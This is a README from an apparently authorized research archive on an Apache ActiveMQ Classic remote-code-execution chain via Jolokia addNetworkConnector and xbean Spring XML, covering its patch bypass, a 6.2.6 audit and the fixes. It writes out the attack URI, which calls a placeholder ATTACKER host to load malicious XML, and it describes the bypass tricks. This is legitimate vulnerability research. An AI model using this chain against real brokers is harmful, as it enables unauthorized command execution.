Share
## https://sploitus.com/exploit?id=59103EF8-34AE-5D99-AC69-1E43D784DA44
# Apache ActiveMQ Classic β RCE Research
Private research archive for the **Apache ActiveMQ Classic** Jolokia β `addNetworkConnector` β xbean/Spring-XML remote-code-execution chain (**CVE-2026-34197** and its patch-bypass **CVE-2026-42588**), plus a full auto-research audit of the fixed **6.2.6** release and a side-by-side comparison with Crowdfense's public bypass writeup.
> Authorized security research. All exploitation was performed against **local lab brokers** (Docker / self-hosted). Payloads use placeholder attacker hosts. Nothing here targets a third-party system.
---
## Contents
| Dir | Phase | What's inside |
|-----|-------|---------------|
| [`00-comparison-vs-crowdfense.md`](00-comparison-vs-crowdfense.md) | Comparison | Our work vs. the Crowdfense "ActiveMQ RCE Bypass" article, source-verified at file:line |
| [`01-original-cve-2026-34197/`](01-original-cve-2026-34197/) | Original repro | Analysis + PoC scripts + Spring-XML payloads (lab: `activemq-classic:5.18.6`) |
| [`02-reaudit-apr30/`](02-reaudit-apr30/) | Version matrix | `uid=0` on 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7; assessment + PoC + `version-matrix.sh` |
| [`03-reaudit-42588-42253/`](03-reaudit-42588-42253/) | Live bypass | No-paren composite bypass (42588) + MessageServlet XSS (42253), reproduced live |
| [`04-audit-6.2.6/`](04-audit-6.2.6/) | Full audit | Auto-research audit of hardened 6.2.6: final report + findings ledger |
Vendor source trees and binary distributions used during the labs are intentionally **excluded** (they're upstream, not ours).
---
## The vulnerability in one line
An authenticated (unauthenticated on 6.0.0β6.1.1 via CVE-2024-32114) Jolokia caller invokes `BrokerView.addNetworkConnector(uri)` with a crafted discovery URI whose inner `vm://β¦?brokerConfig=xbean:` forces the broker to load an attacker-controlled Spring XML, which eagerly instantiates a `ProcessBuilder` bean **before** broker validation β OS command execution.
```
POST /api/jolokia/ β BrokerView.addNetworkConnector(String)
β static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
β VMTransportFactory dynamic broker creation β XBeanBrokerFactory
β ResourceXmlApplicationContext loads Spring XML β ProcessBuilder bean β RCE
```
---
## Findings
**Headline:** three findings are **live-proven** to root/XSS; the 6.2.6 audit adds a broader set that is **source-verified and adversarially judged, but not yet live-detonated**. None of the 6.2.6 extras is a new *unauthenticated* RCE β the vendor closed those doors; the residual risk shifted to authorization and output-encoding.
### Proven exploitation chain
| ID | Finding | Class | Severity | Auth | Proof |
|----|---------|-------|----------|------|-------|
| **CVE-2026-34197** | Jolokia `addNetworkConnector` β xbean Spring-XML RCE | RCE | Critical | Post-auth (unauth 6.0.0β6.1.1) | **Live β `uid=0`** on 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 |
| **CVE-2026-42588** | No-paren composite-URI bypass of the 34197 denylist | RCE (patch bypass) | Critical | Post-auth | **Live β `uid=0`** on 34197-patched 5.19.6 + 6.2.0 |
| **CVE-2026-42253** | `MessageServlet` header injection β stored XSS | Injection / XSS | Medium | Post-auth | **Live** on 6.2.0 |
### Net-new from the 6.2.6 audit (source-verified)
| ID | Finding | Class | Severity | Auth | Notes |
|----|---------|-------|----------|------|-------|
| **C1** | `static:` **denylist gap β SSRF** β `static` absent from `DENIED_TRANSPORT_SCHEMES`; `addNetworkConnector("static:(tcp://β¦)")` β outbound broker TCP | SSRF | Medium | Admin / JMX | Sink variant **past the same 34197/42588 denylist** the article covers |
| **B1** | Durable-subscription **cross-clientId deletion IDOR** β `removeSubscription` keys on wire-supplied `clientId` and is un-gated in `AuthorizationBroker` | Broken authz / IDOR | Medium | Post-auth (pre-auth if broker auth off) | Cleanest net-new |
| **B3** | LDAP **empty-password β anonymous bind** (`LDAPLoginModule`, no emptiness guard) | Auth bypass | Medium (cond.) | Pre-auth | Conditional on directory accepting anon binds |
| **A1βA7** | Console **output-encoding injection family** β attacker-controlled `MessageId.textView` (OpenWire v10+ & AMQP) unescaped across ~7 JSP/REST sinks + `FileSystemBlobStrategy` path-traversal | Injection | LowβMedium | Producer β admin | CSP-gated to HTML/content-injection by default |
| **B2** | Shiro `WildcardPermission` **colon-injection verb-escalation** | Priv-esc | LowβMed | Post-auth | Shiro non-default |
| **B4** | Temp-destination authz **fail-open** asymmetry vs non-temp fail-closed | Broken authz | Low | Post-auth | By-design (AMQ-4721); hardening note |
| **B5** | `StatisticsBroker` `replyTo` **skips write-ACL** when plugin ordered before authorization | Broken authz | Low | Post-auth | Config-order dependent |
| **B6** | Cert-login **non-canonical DN** (`getSubjectDN().getName()`) β identity collision among same-CA certs | Auth | Low | Pre-auth (TLS-validated) | "Any self-signed cert" does **not** work |
| **B7** | `JMSXUserID` **spoof** when `populateJMSXUserID=false` (the default) | Spoofing | Low | Post-auth | β |
| **F5** | STOMP outbound header-**name** never escaped β frame injection to co-tenant subscriber | Injection | Low | Cross-protocol | STOMP enabled |
### Out of scope β DoS (cataloged, not headline)
MQTT `QoS` ordinal AIOOBE (`QoS.values()[ordinal]`, cross-protocol, no config) Β· `OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE` Β· signed-`short` `NegativeArraySizeException` in OpenWire unmarshal Β· negative `AMQ_SCHEDULED_REPEAT` immortal job.
---
## Comparison with the Crowdfense writeup
Crowdfense's [*Apache ActiveMQ RCE Bypass*](https://www.crowdfense.com/apache-activemq-rce-bypass/) covers the **same chain** (they file it under CVE-2026-34197; we track the bypass as its own CVE-2026-42588). Both accounts converge on a three-layer defense; the only divergence is **Layer 2**.
| Layer | Defense | Crowdfense defeats it by | We defeated it by |
|-------|---------|--------------------------|-------------------|
| 1 | Scheme **denylist** (34197 fix) | No-paren composite `static:vm://β¦` | **Same β independently found** β
|
| 2 | xbean `{file,classpath}` **allow-list** (#1910) | Percent-encoded `file:%2f%2fβ¦` β Windows **UNC β WebDAV** β remote HTTP fetch | **Local file** `xbean:/tmp/evil.xml` (needs local write) |
| 3 | `VMTransportFactory` **scheme gate** (`broker,properties`, the 42588 / 6.2.6 fix) | Acknowledged as the kill | **Same conclusion** β
|
**The one gap:** their Layer-2 percent-encoding + UNC/WebDAV trick achieves *fully-remote* delivery with no local-write primitive. The classifier flaw it abuses (`activemq-spring/Utils.java:123-129`, a raw `startsWith("file://")` on the undecoded string) **is present in our exact source** β but the remote half is **Windows-only** (Linux treats `//host/share` as a local path), and our lab was Linux, so it wasn't exercisable there. It is **dead on 6.2.6 anyway** (the `VMTransportFactory` scheme gate rejects `xbean` before `Utils` runs).
**Follow-up:** a **Windows-hosted** 5.19.6 (or any pre-5.19.7/6.2.6 build) + SMB/WebDAV listener would let us demonstrate the fully-remote allow-list bypass β the single capability the article has that our engagement hasn't shown.
---
## Fix (ActiveMQ 6.2.6)
Three commits close the chain: `c1b44af11` (validate composite URIs without parens β `parseComposite` unconditionally + recurse), `c2fc7a1d6` (block `XBeanBrokerFactory` by default via the `VMTransportFactory` scheme allow-list), and `be8415f24` (sample-config hardening: Jolokia to loopback, operation deny-list with `addNetworkConnector`).